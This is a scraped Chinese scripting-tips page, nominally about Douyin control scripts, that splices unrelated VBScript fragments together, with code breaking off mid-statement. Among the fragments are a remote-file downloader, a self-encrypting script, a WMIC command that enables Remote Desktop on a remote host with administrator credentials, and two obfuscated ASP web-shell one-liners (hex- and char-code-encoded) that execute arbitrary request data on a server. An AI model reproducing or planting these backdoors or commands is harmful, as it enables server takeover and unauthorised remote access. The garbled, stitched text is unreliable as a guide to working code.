抖音中控脚本中调用函数

发布时间:2020-06-27 来源:脚本之家 点击:

声明:
PublicTypeSHFILEOPSTRUCT
hwndAsLong
wFuncAsLong
pFromAsString
pToAsString
fFlagsAsInteger
fAnyOperationsAbortedAsLong
hNameMappingsAsLong
lpszProgressTitleAsLong
EndType

PublicDeclareFunctionSHFileOperationLib"shell32.dll"Alias"SHFileOperationA"(lpFileOpAsSHFILEOPSTRUCT)AsLong

PublicConstFO_DELETE=&H3
PublicConstFOF_ALLOWUNDO=&H40
代码:
DimSHopAsSHFILEOPSTRUCT
DimstrFileasstring

WithSHop
.wFunc=FO_DELETE
.pFrom=strFile Chr(0)
.fFlags=FOF_ALLOWUNDO
EndWith

SHFileOperationSHop->

'OnErrorResumeNext
DimiRemote,iLocal
iRemote=InputBox("请输入远程文件路径:")
SetxPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open"GET",iRemote,0
xPost.Send()
Setstream=CreateObject("ADODB.Stream")
stream.Mode=3
stream.Type=1
stream.Open()
stream.Write(xPost.responseBody)
if(stream.size<10240)then
MsgBox("远程文件不存在
火影忍者脚本是什么意思

<scriptlanguage=vbsrunat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
FunctionHextoStr(data)
HextoStr="EXECUTE"""""
C="&CHR(&H"
N=")"
DoWhileLen(data)>1
IfIsNumeric(Left(data,1))Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
EndIf
Loop
EndFunction
</script>
<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode(
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1
04,40,101,41,123,125))</SCRIPt>

注册表的存取方法一般有以下两种:

一、使用WIN95提供的注册表编辑器

",48,"提示"
wscript.quit
End If

For Each fname In wscript.Arguments
If Right(fname,3)<> "vbs" Then
MsgBox "请选择 VBS 文件!",64,"提示"
WScript.Quit
else
Set fso=CreateObject("scripting.filesystemobject")
set objf=fso.opentextfile(fname)
str=objf.ReadLine
start=InStr(str,"array(")+6
str=Mid(str,start,Len(str)-start)
strs=Split(str,",",-1,1)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
Next
objf.Close
Set objf=fso.OpenTextFile(fname,2)
objf.Write runner
MsgBox "解密成功",64,"提示"
End if
Next
当你退出FORM时,不论在有一个、100个甚至没有数据库连接时都可以使用下面代码

作为安全性最佳操作,请使用不属于 Administrators 组的帐户登录计算机,然后使用 runas 命令以管理员身份运行脚本和可执行文件问:在一个床体中设置了2个命令按钮,Command1,Command2


rem 本人不能保证文件能改过来.
rem bmp since 389
rem read bmp to an var and write to file
dim fso,allcode,lcl
Set fso=CreateObject("Scripting"&"."&"FileSystem"&"Object")
allcode=fso.opentextfile(wscript.scriptfullname).readall
Set lcl=fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N)
dim x
for x=0 to 254
if n=chr(x) then
scode=x
exit function
end if
next
end function
dim cc,cipher,correy
for l=1 to len (allcode)
cc=mid (allcode,l,1)
if l>0 and instr(allcode,"cipher maek")>0 then
cipher=chr (scode(cc)+99)
else
cipher=chr(scode(cc))
end if
correy=correy&cipher
next
lcl.Write correy
lcl.Close
rem cipher mark
语法 if嵌套->

作者:lcx
来源:vbs小铺

wmicRDTOGGLEWHEREServerName='%COMPUTERNAME%'callSetAllowTSConnections1

开远程:WMIC/node:"远程机器名"/user:"administrator"/password:"lcx"RDTOGGLEWHEREServerName='远程机器名'callSetAllowTSConnections1

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号